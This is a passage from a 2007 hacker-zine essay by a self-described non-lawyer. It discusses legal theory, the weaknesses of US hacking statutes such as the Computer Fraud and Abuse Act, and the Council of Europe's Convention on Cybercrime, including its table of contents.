  8.4.3 Commentary

  9.0 United Kingdom 2006
  9.1 The Police and Justice Bill
  9.2 Current state of the Computer Misuse Act
  9.3 Commentary 

  10.0 Germany 2007
  10.1 Theory and explanation
  10.2 Hacking tools
  10.3 Commentary

  11.0 The pattern - legislation against hacking utilities
  11.1 The new order
  11.2 Perl, ping, and nmap
  11.3 Practical results in Germany
  11.4 The security industry
  11.5 The media
  11.6 Violation
  11.7 The old order

  12.0 Conclusions

  13.0 Works Cited

[==============================================================================]

1.0 Introduction

This was written in July and August of 2007.

I would like the readers to know that I am not a leading legal expert. I'm
not even a lawyer. Nor a law student. I'm just a hacker who has taken a
couple of law courses, read a couple of law books, read a lot of statutes,
and sat in on some trials. However, I think I know a little more about law
than other hackers who have written articles about hacking law, to the
degree that I think this discourse is fairly "leet" in comparison.

Looking around, I have not found much legal material in hacking zines.
Usually it is someone explaining specific American laws about their area
of crime (eg. credit cards) or something explaining a little bit of law
and some legal processes from their own experiences (see: Phrack). I have
been unable to find articles willing to take a serious look at hacking
laws beyond how they specifically applied to them. I felt that there is
definitely room in the world for an article that mentions much of our
current influential legal work around the world, and where hacking laws
could be going. I can do this while giving a backdrop of some legal theory
and perspective on the power and influence of select laws.

Further, we have seen important modernizations of hacking laws in many
countries recently, of which I will detail a few important ones. Like
everything else in the computer world, laws have changed drastically
through any five year period. Things have changed, and this article can
pose as a nice summary for the state of things at this point (and gain
"fresh" points).

In short: Other hacking law articles or sections of articles in technical
zines are either shitty, or lacking substance, or drastically behind the
times for someone seeking to understand some law in 2007. 

2 About hacking

2.1 What I mean by "hacking"

I hate having a section about this, but some clarifications are needed.
You all have an idea of what "hacking" is, and I am not going to try to
debate our various definitions here. From a legal perspective, the term
never needs to be used (although it was used in Germany). Yet I will use
it casually in this article. I refer to malicious computer crime, crimes
happening in the realm of computers, effecting individuals through their
computers and digital assets. I may call this "hacking", out of
convenience. In particular, I am referring to crimes including:

- Access to private data/resources.
- Interference (modification or denial) of programs and systems.
- Interception of private communications.

I mean all of these things only when one does not have a right (also, a
fair belief in a right, termed here as a "colour of right") to the
data/programs/systems/communications (by actually being an owner or
participant) and when one acts without express permission. Additionally,
excluding the case of tort law and summary conviction offences, these
things need to be done with knowledge or intent to do so.

To give direct examples of computer crimes that I may refer to, in
general, as hacking, I list these thus:

- Gaining shell/system access to someone else's computer.
- Writing malware to damage computers or the data on them.
- Writing malware to make money off of people's computers.
- Denying service to websites.
- Trying to scam users into giving up money.
- Etc, etc, etc.

Notice that I specifically list actions that most people would agree are
immoral, without pressing towards behavior that is more questionable. I
would like to limit my use of "hacking crimes" or "computer crimes" to
mean things that are obviously "wrong" as we could say. I do not yet need
to press boundaries. 

2.2 Why the world needs hacking laws

We are surrounded by law. Much of the way we live our lives would not
function so well without laws. Much of this we take for granted, either
because the laws work so well, or because they have been working for so
long, or because they have been designed to eliminate threats that never
arrived. 

Law governs how the food we eat can be created (with safe ingredients and
how that safety can be guaranteed) and sold (with ingredients listed,
health stats, antitrust laws effecting price, etc). Law governs how our
houses can be made (safely) and sold (through valid contracts). Law forced
companies to stop making toys out of lead, and legal institutions monitor
that to make sure that the odd derivation is halted and punished. 

In its most obvious form law stops you from being thrown out of your house
by a jealous civilian, or from being robbed at will, or from being
murdered. 

All of the above examples, and hundreds more, act together to generate a
safe society where most of us can live and prosper. These benefits are not
enjoyed by all countries. The quality of law and legal institutions is a
strong indication of the quality of life in a country.

Some of these laws you may not need. Maybe you think you don't need the
state to defend your house or your life; your gun can do that. But not
everyone shares that opinion or can do that. The same man who can defend
his own house might find the idea of being told to defend the quality of
his TV dinners purchased at a supermarket to be an outrageous idea - the
government needs to make sure that food is safe! For society, we needs
these laws, and we need to apply them equally, regardless of whether you
want some or not. Laws for you or against you are not opt-in or opt-out. 

By this line of reasoning, we need hacking laws. Your food, your house,
and your products are all guaranteed to be safe and to be as advertised,
otherwise the law can come to your aid. Your property and your privacy are
defended, these are two crucial pillars of law in many nations. Yet they
are not defended in respect to your computer. Millions of people are
vulnerable to having their personal data stolen. Many of the same people
can hardly use their own computer in their own home without being bothered
by malware that they certainly do not desire and which does not care about
what those users want to do with their computer. Even if malware often
arrives partially at the fault of the user, that is only a slim moral
defence for the malware.

Some of us benefit from the lack of computer laws. We use and abuse the
uneducated population, regardless of their will or rights, because we can
get away with it and perhaps can gain financially for it. 

Others can defend themselves (to varying degrees), and can often benefit
indirectly by helping to defend others. 

These two small (and mostly overlapping) groups do not gain from having
laws defending against damaging and malicious hacking activities. For
everyone else, hacking laws are good. As such, fair conditions will become
another piece of our society that is held up by law. People need to be
able to use their computers without being monitored, hampered, or used as
a pawn in immoral activities. Just as it is not an individual obligation
to know how to tell the quality of food preparation methods (which aren't
even labelled on the product) or the safety of ingredients, or how we are
not obligated to learn how to defend ourselves, individuals are not liable
to have to understand computer security to be able to use computers.

3.0 Jurisprudence

3.1 Legal theory

You may imagine law as just a set of rules, established by government,
listed in a book somewhere. When you do not follow these rules, you are
breaking the law. This interpretation is naive.

At the very least law can be written in legislature, offset in a
constitution, codified, defined by precedent only, or be defined on a
case-by-case basis (to differing degrees depending on the country). Yet,
there is so much more.

Law is all about what is right and wrong, what is crucial for society, and
how society needs to limit select behavior to hold itself together. Some
of the earliest theory on law is about "natural law", where the law is
envisioned as an ideal, as the rules as they should be, and our mortal
rules can only try to be as close to these natural laws as we can be. In
this line of theory, rules as written by bodies of power can be wrong and
unlawful in themselves. 

Natural law has in many ways given way to forms of positive law, which
states that law exists as we create it. Many lines of thought in this
direction establish law as being commanded from an authority which we are
compelled to obey. In this, we have to understand, law is not just rules.
Law chould be all of this:

- Rules.
- These rules must be clear and understood.
- These rules must be commanded, that is to say, we must be strongly told
  that they exist.
- We have to be compelled to obey these rules, through:
-- A belief that the law is correct or moral or necessary and
-- A belief that the law will be enforced and enforced consistently.
- As such, these rules must actually be enforced.

Although this may seem like nitpicking, understanding these elements is
necessary. Right now in your common law country there are thousands of
rules ("laws") that are not law. They have been created through decades or
centuries of the past. Currently they might not even be known to exist by
even a noticeable fraction of the population. Even law enforcement agents
may only know a few, as trivia. These laws are no longer necessary, and if
the case would arise, would be struck down. People don't know they exist,
any police officers aware of them would not be willing to enforce them.,
The legal system as a whole will not enforce them, and nobody believes in
them. They are not law. They are just rules in books. The reason they
have not been removed is because there are far too many, they are far too
diverse, and the task of removing them could be a paper nightmare.

Consider this exercise: If you are doing something that a rule states is
illegal, and a police officer cruising by sees you doing it, will:

a) he know that it is illegal and
b) actually arrest you for it.

And even further than that;

c) If you go to court over the issue, will the judge convict you
   regardless of how blatantly you broke the rule?

Yet it goes further!

d) If you appeal and work your way up higher courts, will the law
   eventually be struck down for you?

Think about that. Even if the rule got past a, b, and c, it sure isn't
much of a law (and definitely not after) if it can't avoid getting struck
down by a more powerful court. It is hardly law if the first court won't
even take it seriously. It certainly is not law at all when officials
won't even try to defend it, and it is definitely not law when the
officials who would be responsible for it do not know it exists.

What law actually is varies from country to country and region to region.
It depends on the type of government, the type of court system, the
quality, integrity, and existence of legal institutions, the level of
education of the population, the media, and other factors. The people
responsible for what law is and how it is applied (which really is a part
of "what law is") include politicians, businessmen, judges, lawyers,
professors, reporters, police officers, powerful institutions in general,
and the body of society.

Law is very hard to define just in general, let alone in a way that
applies to all our variations. In practice, we cannot define law except as
a meta-definition of how we define law locally. Either way, law is not
something we can simply understand as a set of rules, unless you start
expanding your definition of "rules" to be an academic whore.

3.2 Actus reus, mens rea, and summary conviction offences

In common law countries, any crime consists of two parts, an actus reus
and a mens rea. The actus reus is the "guilty act" itself, it is shooting
someone, or breaking something, or running a red light. The second part,
the mens rea, is the "guilty mind". Mens rea is when you have knowledge of
what you are doing, or you have intent to do so. Mens rea is when you aim
that gun and decide to pull the trigger, it's deciding to break something,
it's knowing that you should stop at that yellow but trying to make it
anyways. Mens rea can be proved by the situation. For example if you speed
up through a yellow light to avoid a red, that will be taken as acceptable
proof that you knew you should have been stopping. 

Mens rea is a very important concept, it is why your crime might not
necessarily be a crime if you are intoxicated or insane, or if something
just happens by accident. (Note that accidents will often fall under
"negligence" of "tort law". Go to Wikipedia, check it out!)

Usually in any specific written law the basis for both of these terms will
be explained. So if you look at a part of a law, you can see the detailed 
actus reus and the detailed mens rea. 

There are exceptions, and these are called "summary conviction offences".
These will play a strong roll in this document when we note that the
British government found it convenient to employ them in their hacking
laws. A summary conviction offence is a minor offence where, for the sake
of convenience, a trial is not needed and mens rea does not need to be
established. Generally the very action is criminal regardless of knowing
or intending it. A good example is speeding. The cop will give you a
ticket. He won't give you a trial (but you can contest the ticket, if you
would like), and he won't take the ticket back if he believes that you
honestly did not know the speed limit, unless he is feeling particularly
nice.

Some crimes can be alternately charged as either a summary conviction
offence or an indictable offence. If the authorities believe that you
deserve much more than a ticket, then in this case they can have a court
case and apply to a different set of punishments.

3.3 Stare decisis

Stare decisis is one legal principle in which previous legal decisions are
respected by judges in their rulings. 

When a statute is passed and an idea becomes law, often the rules it
details, although detailed, have significant issues with interpretation.
Everything down to the meaning of the individual words used can be
questioned. Furthermore, the punishment may be explained only as a maximum
sentence, or a maximum and a minimum.

Essentially laws need to be interpreted, and this is done by judges. A
judge may have to decide what actually applies under a law or to what
degree related actions are illegal under the law. When sentencing, a judge
will need to select a punishment. 

Because people have differences, if each and every judge analyzed laws on
their own and determined punishments on their own, then we could have a
massive lack of consistency in the application of law. Instead, judges
follow precedents. Precedents are previous legal decisions from previous
cases. 

In common law countries (such as English speaking ones) case law is
binding. Courts must follow a ruling if a higher court has handled the
same issue, because the higher court holds more power and is assumed to be
more capable of interpreting the law. If a court of the same level has
made a precedent, again this should be followed, because their should be
consistency in law. Unless there was a lack of care in the precedent, a
judge should not feel more able to interpret law than his cohorts of the
same level or higher. A court may ignore a ruling by a lower court.

However, in practice the use of precedents is much more complicated.
Although a court should follow precedent when a decision has been made
regarding terms or meanings of a law, often there will be significant
differences in the cases as they apply to the law, thus causing the judge
to freshly analyze this 0day vulnerability, and add to the bounty of
knowledge about the law by thus creating their own precedent about the
areas of the cases that differed. 

When courts level their decision in common law countries, often they will
cite many precedents in explaining how they chose (or deferred) a line of
reasoning or another. Because of state decisis being binding, an
incredible amount of the law is defined by precedents. This system is
termed "Case law" and is absolutely central to the legal system in common
law nations. 

On the other hand, civil law nations have a smaller emphasis on
precedents. Specifically, they believe that it is the legislature's duty
to create law, while it is the judiciary's duty to interpret and enforce
the law (while case law creates and modifies law on its own). The more
specific the legislature can make the law, the better. Yet even there they
generally believe that law should be applied consistently, and as thus,
there is an expectation that unless something has changed, the law will be
applied as it was applied before.

In either case when there is an issue about a law that cannot be resolved
easily, it will climb up the ladder of power. This happens by individual
cases appealing to higher courts, sometimes with one side winning, then
losing, then winning again. Eventually the issue will be resolved, even if
it has to reach the court of last resort (i.e. a Supreme Court) which
holds authority over the interpretations of lesser courts.

3.4 The development of laws

Laws might start from party policy, get created by the party legislative
machine, then go through the cabinet, then be proposed, then get voted on,
blah blah blah. You all know how it works in your country. If you don't
have a clue then just fuck off and go back to your youtube videos. 

[ UPDATE: A less bitter zshzn feels the above line was harsh and unfair. ]

What you may not be as aware of is how laws come to be enforced and
applied. When a statute creating a law first comes into effect, there is
no case law behind it. There are no cases for judges to source, no
opinions to fall back on. Prosecutors do not know how far, and to what
degree of punishment, the law will be applied. There is significant doubt
about how it will work.

Secondly, a law may not survive. If it is unpopular (and then, from a
natural law perspective, possibly "wrong"), it may be quickly revoked by
the next ruling government. Just as one government thought it a fitting
policy decision to create the law, the next, in consideration of
unpopularity or in deference to their core base, may find it prudent to
try to revoke the law. Also, a new law might not be legal a priori.
Although it will have been designed by legal experts and pushed by
politicians who were formerly lawyers, that doesn't make them as elite or
powerful as Supreme Court judges. The Supreme Court (in many countries and
to varying degrees) rules the scene and all will have to accord with it or
be owned. A Supreme Court will probably have the power to rule a law
unconstitutional, or even to revoke it regardless. This depends on the
power of the judiciary in any given country. You know those annoying
sections in your constitution giving what seem like obvious details about
the division of powers? Yea, see, they matter, and they are not all the
same.

Thirdly, a law may be weak and have exploitable loopholes. Or the law may
even conflict with another law. If the law is unable to perform its
function, it may be removed, ignored, or (most likely) replaced.

For all the above reasons, fresh laws could have fresh issues and may not
even last, let alone act close to how anyone predicts they will. So you do
not just create a law and suddenly the police and prosecutors will all be
very confident about how to apply it. Instead, both will be cautious. A
law may have been designed for a specific situation or for a specific
group exploiting a lack of law. In this case the law might be applied very
quickly to them. In less obvious cases authorities will need to move more
slowly. 

For a law to have a lot of force, especially against cases that do not
obviously apply (but may apply after considerable judicial thought over
what applies to the particular law), it needs to go through a period of
testing. One case will come up, and a general ruling will be made, and
thus a precedent established. Another might come up testing a slightly
different scenario. The law may even have to bounce up through courts
until being affirmed by a Supreme Court. 

After enough cases, the authorities and the population can have a
reasonable idea of what the law is, and the rule carries more legal
authority, and police and prosecutors will understand where they can
succeed with it and where they cannot.

3.5 Law elsewhere

I talk mostly of law as I know it in Canada, which has a very long
shared history with the USA and the UK. These three (and other former 
parts of the British Empire) are all common law countries. Further, I give
strong mention to civil law countries and variations in developed nations,
so, most of Europe. For any Quebecois friends who would note the absence
of this detail, Quebec is mostly a civil law system. However, considering
that most of Canadian federal law is formed with common law
considerations, and that Quebec still defers to the Supreme Court of
Canada, Quebec must be considered a hybrid of some sort.

What I have not talked about is countries that are undemocratic or
inconsistent in their laws. In some countries, the legislative aspect
might not care at all about what the population thinks about laws. Or
trials are blatantly unfair. Or maybe you could be arrested (or just shot)
for behavior that does not even violate any existing laws. In this
situation I can just say that "illegal" is whatever will piss off the
authorities and that they are capable of investigating. I can only advise
to be really careful, and that you probably should not try to fuck around
there. In fact, click the X now and stop reading this. Get out of your
country, kthnxbye.

4 Diving right in - The USA

4.1 Ambitious and confused

After all of that talk about law, I am finally going to talk a little bit
about hacking laws specifically. Congratulations on passing the test of
patience and making it this far into the article.

The USA, of all countries, was the most enthusiastic about creating
hacking laws. A lot of first world countries have only recently made
provisions for hacking laws, yet the US started quite early. The key piece
of US law dealing with hacking is the Computer Fraud and Abuse Law (which
had its powers famously extended by the PATRIOT Act), and that passed in
1986. Even before and since there has been a flurry of American hacking
laws.

The US has been a leader in technology, and from the beginning has had
problems in this field which required some legal resolve. The US has
written laws for a ton of crimes, including this list stolen directly from
Wikipedia:

[http://en.wikipedia.org/wiki/Computer_crime#Applicable_laws]

ACCESS DEVICE FRAUD. 18 U.S.C. õ 1029. 
COMPUTER FRAUD AND ABUSE ACT. 18 U.S.C. õ 1030. 
CAN-SPAM ACT. 15 U.S.C. õ 7704. 
EXTORTION AND THREATS. 18 U.S.C. õ 875. 
IDENTITY THEFT AND ASSUMPTION DETERRENCE ACT of 1998. 18 U.S.C. õ 1028. 
WIRE FRAUD. 18 U.S.C. õ 1343. 
No Electronic Theft ("NET") Act. 17 U.S.C. õ 506. 
Digital Millennium Copyright Act of 1998 (DMCA) . 17 U.S.C. õ 1201. 
Electronic Communications Privacy Act, 18 U.S.C. õ 2701, et seq. 
Trade Secrets Act. 18 U.S.C. õ 1832. 
Economic Espionage Act. 18 U.S.C. õ 1831. 

On top of this, due to the US system for division of powers, individual
states may or may not write their own hacking laws, and many have.

However, having more laws does not make them better. There are numerous
issues in these and their implementations.

4.2 10 Issues with the system of American hacking laws

1. Some of these laws suck. That tends to happen when you have various
   groups writing various laws.

2. A lot of these laws apply to specific interests and not to society,
   such as large corporations and the government.

3. Some of these laws overlap, contributing to:

4. General confusion. Nobody wants to keep track of which of these apply
   to them and when.

5. People do not know which laws they will be charged under, contributing
   to:

6. The government picks and chooses laws to best pwn your ass, and will
   even:

7. Use non-hacking, traditional laws (theft, fraud, libel) to pwn you when
   they aren't confident of the actual electronic law that applies.

8. People do not know which level of law (state or federal) they will be
   charged under.

9. A lot of these laws beat around the bush. We have laws about areas
   including:

   - Spam
   - Espionage
   - Trade secrets
   - Copyright violations
   - Extortion
   - Identity theft
   - etc

   Those laws listed above are all about what you do after you have
   violated defences and stolen information. As an example of a similar 
   problem, recent changes to these laws have been commenced not by hacking
   considerations, but by terrorism issues. There is no central American 
   government policy body that has done anything to take this jumble of 
   bullshit and make something serious out of it.

   Having specific laws is not too much of a problem (well, excluding the 
   eight reasons listed above and others) except for:

10. The only real "core" federal anti-hacking law in the United States,
    the Computer Fraud and Abuse Act, is very weak.

4.3 The Computer Fraud and Abuse Act

4.3.1 Table of Contents

[http://www.cybercrime.gov/ccmanual/01ccma.html]

A. Key Definitions 
  1. Protected Computer
  2. Without or In Excess of Authorization
B. Obtaining National Security Information: 18 U.S.C. õ 1030(a)(1) 
  1. Knowingly Access a Computer Without or in Excess of
           Authorization
  2. Obtain National Security Information
  3. Information Could Injure the United States or Benefit a Foreign
           Nation
  4. Willful Communication, Delivery, Transmission or Retention
  5. Penalties
  6. Historical Notes
C. Compromising Confidentiality: 18 U.S.C õ 1030(a)(2) 
  1. Intentionally Access a Computer
  2. Without or in Exccess of Authorization
  3. Obtained Information
  4. Financial Institution or Consumer Reporting Agency
  5. Department or Agency of the United States
  6. Protected Computer
  7. Penalties
  8. Historical Notes
D. Trespassing in a Government Computer: 18 U.S.C õ 1030(a)(3) 
  1. Intentionally Access
  2. Without Authorization
  3. Non Public Computer of the United States
  4. Affected United States' use of Computer
  5. Statutory Penalties
  6. Relation to Other Statutes
  7. Historical Notes
E. Accessing to Defraud and Obtain Value: 18 U.S.C õ 1030(a)(4) 
  1. Knowingly Access Without or in Excess of Authorization
  2. With Intent to Defraud
  3. Access for the Intended Fraud
  4. Obtain Anything of Value
  5. Statutory Penalties
  6. Relation to Other Statutes
  7. Historical Notes
F. Damaging a Computer or Information: 18 U.S.C õ 1030(a)(5) 
  1. The Access Element
  2. Cause Damage to the Protected Computer
  3. Loss or Other Damage Listed in õ 1030(a)(5)(B)
  4. Penalties
  5. Relation to the Statutes
  6. Background
G. Trafficking in Passwords: 18 U.S.C õ 1030(a)(6) 
  1. Trafficking
  2. Password or Similar Information
  3. Knowingly and With Intent to Defraud
  4. Trafficking Affects Interstate or Foreign Commerce
  5. Computer Used By or For the U.S. Government
  6. Penalties
  7. Relation to Other Statutes
  8. Historical Notes
H. Threatening to Damage a Computer: 18 U.S.C õ 1030(a)(7) 
  1. Intent to Extort Money or Other Thing of Value
  2. Transmit Communication In Interstate or Foreign Commerce
  3. Threat to Cause Damage to a Protected Computer
  4. Penalties
  5. Relation to Other Statutes
  6. Historical Notes
I. Legislative History

4.3.2 Analysis

The CFAA deals with specific scenarios. It doesn't establish any general
principles, it doesn't make any claim to morality or rights, it just lists
certain offences. Many of these offences are specifically about defending
the government. For the sake of clarity, I will here copy the Wikipedia
simplification/clarification of the entirety of the rules in the CFAA.

[http://en.wikipedia.org/wiki/Computer_Fraud_and_Abuse_Act]

1. Knowingly accessing a computer without authorization in order to obtain
   national security data
2. Intentionally accessing a computer without authorization to obtain 
  1. Information contained in a financial record of a financial
     institution, or contained in a file of a consumer reporting agency on 
     a consumer.
  2. Information from any department or agency of the United States
  3. Information from any protected computer if the conduct involves an 
     interstate or foreign communication
3. Intentionally accessing without authorization a government computer and
   affecting the use of the government's operation of the computer.
4. Knowingly accessing a computer with the intent to defraud and there by
   obtaining anything of value.
5. Knowingly causing the transmission of a program, information, code, or
   command that causes damage or intentionally accessing a computer without
   authorization, and as a result of such conduct, causes damage that 
   results in: 
  1. Loss to one or more persons during any one-year period aggregating at 
     least $5,000 in value.
  2. The modification or impairment, or potential modification or impairment,
     of the medical examination, diagnosis, treatment, or care of one or more
     individuals.
  3. Physical injury to any person.
  4. A threat to public health or safety.
  5. Damage affecting a government computer system
6. Knowingly and with the intent to defraud, trafficking in a password or
   similar information through which a computer may be accessed without
   authorization.

This defends, in order: 

- National security data
- Financial institutions
- Government
- Interstate or foreign communication
- Government
- Fraud victims
- Financial victims
- Medical victims
- Public safety
- Government
- Fraud victims

That does seem like a hefty list, but do notice the continual repetition
of the government that extends our list. This law, by giving specific
cases, displays that it isn't illegal just to hack someone. Just gaining
access without permission, or modifying the state of systems or programs,
aren't illegal under the CFAA. It is only illegal depending on what you do
with that.

The CFAA is basically a list of things that are illegal to do when you
have hacked someone. It is a small list. It does not try to cover anything
in general. Saying it is full of loopholes would suggest it actually
covers a lot more than it does. A more accurate statement would be to say
that we have a big field of anarchy that has some legal patches. 

On a federal level, the USA has a handful of hacking laws that cover
specific situations, and the law that should form a strong and stable
legal centre is instead just a handful of hacking laws that cover specific
situations. American hacking laws in their first two decades of existence
have been unorganized and written to cover only these specific situations. 
The loopholes are many and confusion is everywhere.


4.4 Application issues

Due to all the problems above, this system does not work very well. People
cannot be expected to know their respective written laws, let alone
respect them. The law is not clear. The government cannot say what the law
is or what the theory is behind it (what theory?). They wouldn't even be
able to give you an answer about what they would charge you with under
many situations. If they think it could be more successful, they will not
hesitate to charge you with non-hacking-specific laws, even when a
hacking-specific law exists for precisely the area of your action. 

Whether you will be charged or not may have little to do with the degree
that you have broken written laws. 

Further, these laws will be applied not when violations are noticed, but
only in specific chosen instances.

If we look back at section 3 where we discussed what law is, American
hacking laws look increasingly insufficient. Let's review my list:

- Rules
- These rules must be clear and understood
- These rules must be commanded, that is to say, we must be strongly told
  that they exist
- We have to be compelled to obey these rules, through:
-- A belief that the law is correct or moral or necessary and
-- A belief that the law will be enforced and enforced consistently
- As such, these rules must actually be enforced

Yes, we have rules. No, they are not clear and understood. Yes, they are
partially commanded. No, we do not believe that many of them are correct
or moral or necessary (and instead may view many as serving specific
interests or pushed by naive politicians). No we do not expect them to be
enforced, or enforced consistently when they are. And, no, they are only
partially enforced.

They don't even cover the bases, let alone cover them well, or fairly, or
evenly. American hacking law is entirely insufficient and lacking quality.
This is comparable to the general legal situation in Russia back in the
Soviet days, such as the 1930s and 1940s.

4.5 Current developments

Recently the US Senate ratified the Council of Europe's Convention on
Cybercrime. The convention produced a detailed article on computer crimes
and international cooperation to deal with them. It is the next piece of
legislation I will discuss.

5.0 International Developments

5.1 Importance

The internet is international. Action taking place in any connected
country in the world can have an immediate effect anywhere else. Crimes
causing damage in the US or Europe could be happening from Southeast Asia
or South America. International assistance can immensely increase the
ability of authorities to implement cases in these ways:

- Investigate crimes originating in foreign countries.
- Have other countries prosecute their hackers.
- Have other countries provide valuable information to investigations
  about crimes causing damage in one country by someone in another.
- Have other countries extradite criminals.

As with other crimes, such as the drug trade, money laundering, and
terrorism, hackers can work from and through countries that form safe
havens. These countries may be unwilling to prosecute, or simply lack the
investigative organizations or technical abilities to do so, or lack the
legal basis for prosecuting misdeeds.

The fact of the matter is, any country without strong hacking laws is an
outstanding weakness to any country that does. More than any other class
of crimes in the past, electronic crime is fast and it is diverse. One
cannot simply avoid physical trade with the country. The equivalent to a
break off of relations and a trade embargo would be trying to drop all
packets originating from a region entering your country through any means.
Good luck.

Perhaps as more countries establish hacking laws and enforce them, when
particular countries start to stand out as very serious problems to, say,
the US, then the US could press hard for improvement. Currently, as noted
above, American law isn't in any position to defend itself, let alone ask
for more from anybody in the world.

Regardless of the very bleak current situation, efforts forward will have
a very high return on investment. Every country, be it the US or Malaysia,
that puts effort into having stronger and smarter hacking laws and
stronger and smarter enforcement will not only be rewarded, but will
improve the situation of the rest of the world.

5.2 Leaders

Currently Europe is leading the world in legal developments in the area of
hacking. In the next section I will discuss documents of wide scope, and
how they have been implemented. Although Europe is only beginning to
organize and legislate together, the continent as a whole and countries
individually are progressing well.

5.3 Location

I suppose this is going to be an important issue for some, so here I will
address it. The argument that you host content in a foreign country, and
thus you cannot be prosecuted locally, just is not going to fly. Right now
some countries already have legislation that clearly states that it won't.
The entire European Union eventually will simply not care where you are
committing a crime if you are physically located in the EU.

6 The Convention on Cybercrime

6.1 The Council of Europe

The Convention on Cybercrime was a document finalized by the Council of
Europe (CoE) in 2001. For many of you, like myself, who live outside of
Europe, the Council of Europe may not get any media attention and you may
know very little about it. In short, the CoE is an organization that
formed in 1949 out of ideas discussed by Winston S. Churchill (who among
other things envisioned a united Europe as part of a plan for European
stability) and is an organization that exists to bring cohesion to
European policies and unite Europe however it can.

In its nearly 60 years of existence the CoE has presented nearly 200
treaties (the site counts 202, but that includes provisions), and just
looking at the about 180 presented through the year 2000, only 23 failed
to be signed into effect. 

[http://conventions.coe.int/Treaty/Commun/ListeTraites.asp?CM=8&CL=ENG]

To put the CoE into perspective, it is not an authority like the European
Union or the United Nations. The Council of Europe is just that, a
council. It can only make agreements and post those agreements to be
signed by member nations. Even when a treaty is signed, that just
signifies the general agreement of the member government with the
convention; the convention does not automatically carry weight in the
member country. Usually a signed treaty will first need to be ratified by
a body of power within the member country, and only then can the member
country start to act in accord with the treaty or make laws based on it.

Their own website says this quite elegantly:

[http://conventions.coe.int/general/v3IntroConvENG.asp]

'The Statute of the Council of Europe, signed in London on 5 May 1949,
after declaring the aim of the Organisation, states in Article 1,
paragraph b:

"This aim shall be pursued through the organs of the Council by discussion
of questions of common concern and by agreements and common action in
economic, social, cultural, scientific, legal and administrative matters
and in the maintenance and further realisation of human rights and
fundamental freedoms."

European Conventions and Agreements are prepared and negotiated within the
institutional framework of the Council of Europe. Negotiation culminates
in a decision of the Committee of Ministers establishing ne varietur the
text of the proposed treaty. It is then agreed to open the treaty for
signature by member States of the Council. European Conventions and
Agreements, however, are not statutory acts of the Organisation; they owe
their legal existence simply to the expression of the will of those States
that may become Parties thereto, as manifested inter alia by the signature
and ratification of the treaty.'

One point that isn't entirely relevant to this discourse, but may be of
note regardless, is that their explicit aim has nothing to do with
military actions. After WWII the League of Nations (the post-WWI
international solution) was criticized as a failure because it had no bite
and many minds believed that new, powerful institutions needed to be
established for the security and stability of Europe and the world.
Several of these institutions, including the World Bank, the IMF, and the
Council of Europe, were designed and implemented without military bite in
mind. One organization was designed to specifically have authority and the
military bite to back that up, and that was the United Nations, which has
nibbled occasionally. The CoE exists so that nations can come together and
make general agreements in areas where they feel international
coordination of opinion on an issue could be beneficial.

6.2 Introduction and timeline

The Convention on Cybercrime (CoC) is the CoE's say on what should and
should not be criminal on the internet. The document was opened for
signing by the CoE member nations on November 23, 2001. The date might
lead one to wonder if this treaty was specifically designed, or hurried to
release, following the terrorist attacks of September 11, 2001. It
actually wasn't. The convention was finalized and released for
consideration in May of 2001.

The CoE funded an initial study on the topic, which was published in 1989.
They then funded a second study, which was published in 1995. Based on
these two studies, a group was formed in 1997 to draft what would become
the Convention on Cybercrime, which was itself released in 2001. It came
into force on July 1st, 2004.

This process was slow and costly. However it does demonstrate care and
patience. Additionally, during that timespan there were vast changes in
the threats present. Between the publication of the first and the second
study, we had the popularity of the internet, and Windows, and numerous
other features compelling exponentially more users and companies to invest
in computers. Had the CoE published a treaty after the first study only,
it would have been outdated almost immediately, and would not have been
able to address many of the specific threats that we face today. As a
treaty, it would have been a failure.

6.3 Overview

Having read or reread a number of legal documents in preparation for this
article, I can honestly say this is one that I like and appreciate. As a
legal document it is beautiful. It clearly states its scope and importance
in an elegant preface. It lacks most of the non-literary "legalese" that
is prevalent in national laws. While a Parliament has to detail which laws
it modifies, and stick by the format in a legal code, the CoC is simply a
treaty, and does not require such formatting and specification. It clearly
explains definitions, lacking unnecessarily obvious ones.

Furthermore, the content itself is well done. What it does is list a
number of areas in which law should be laid down. The purpose of the CoC
is twofold, however. It details how countries should cooperate to handle
investigations and prosecution.

I cannot paste the entire convention here. If you are interested, you will
have to read the convention yourself at http://coe.int. I will, however,
list the table of contents to give you a more firm idea of what the treaty
illustrates. I will also explain some articles.

6.4 Table of Contents

[http://conventions.coe.int/Treaty/en/Treaties/Html/185.htm]

Preamble

Chapter I - Use of terms
  Article 1 - Definitions

Chapter II - Measures to be taken at the national level
  Section 1 - Substantive criminal law
    Title 1 - Offences against the confidentiality, integrity and 
              availability of computer data and systems
      Article 2 - Illegal access
      Article 3 - Illegal interception
      Article 4 - Data interference
      Article 5 - System interference
      Article 6 - Misuse of devices
    Title 2 - Computer-related offences
      Article 7 - Computer-related forgery
      Article 8 - Computer-related fraud
    Title 3 - Content-related offences
      Article 9 - Offences related to child pornography
    Title 4 - Offences related to infringements of copyright and related 
              rights
      Article 10 - Offences related to infringements of copyright and related
                   rights
    Title 5 - Ancillary liability and sanctions
      Article 11 - Attempt and aiding or abetting
      Article 12 - Corporate liability
      Article 13 - Sanctions and measures
  Section 2 - Procedural law
    Title 1 - Common provisions
      Article 14 - Scope of procedural provisions
      Article 15 - Conditions and safeguards
    Title 2 - Expedited preservation of stored computer data
      Article 16 - Expedited preservation of stored computer data
      Article 17 - Expedited preservation and partial disclosure of traffic 
                   data
    Title 3 - Production order
      Article 18 - Production order
    Title 4 - Search and seizure of stored computer data
      Article 19 - Search and seizure of stored computer data
    Title 5 - Real-time collection of computer data
      Article 20 - Real-time collection of traffic data
      Article 21 - Interception of content data
  Section 3 - Jurisdiction
      Article 22 - Jurisdiction  

Chapter III - International co-operation
  Section 1 - General principles
    Title 1 - General principles relating to international co-operation
      Article 23 - General principles relating to international co-operation
    Title 2 - Principles relating to extradition
      Article 24 - Extradition
    Title 3 - General principles relating to mutual assistance
      Article 25 - General principles relating to mutual assistance
      Article 26 - Spontaneous information
    Title 4 - Procedures pertaining to mutual assistance requests in the 
              absence of applicable international agreements
      Article 27 - Procedures pertaining to mutual assistance requests in 
                   the absence of applicable international  agreements
      Article 28 - Confidentiality and limitation on use
  Section 2 - Specific provisions
    Title 1 - Mutual assistance regarding provisional measures
      Article 29 - Expedited preservation of stored computer data
      Article 30 - Expedited disclosure of preserved traffic data
    Title 2 - Mutual assistance regarding investigative powers
      Article 31 - Mutual assistance regarding accessing of stored 
                   computer data
      Article 32 - Trans-border access to stored computer data with consent or
                   where publicly available
      Article 33 - Mutual assistance regarding the real-time collection of 
                   traffic data
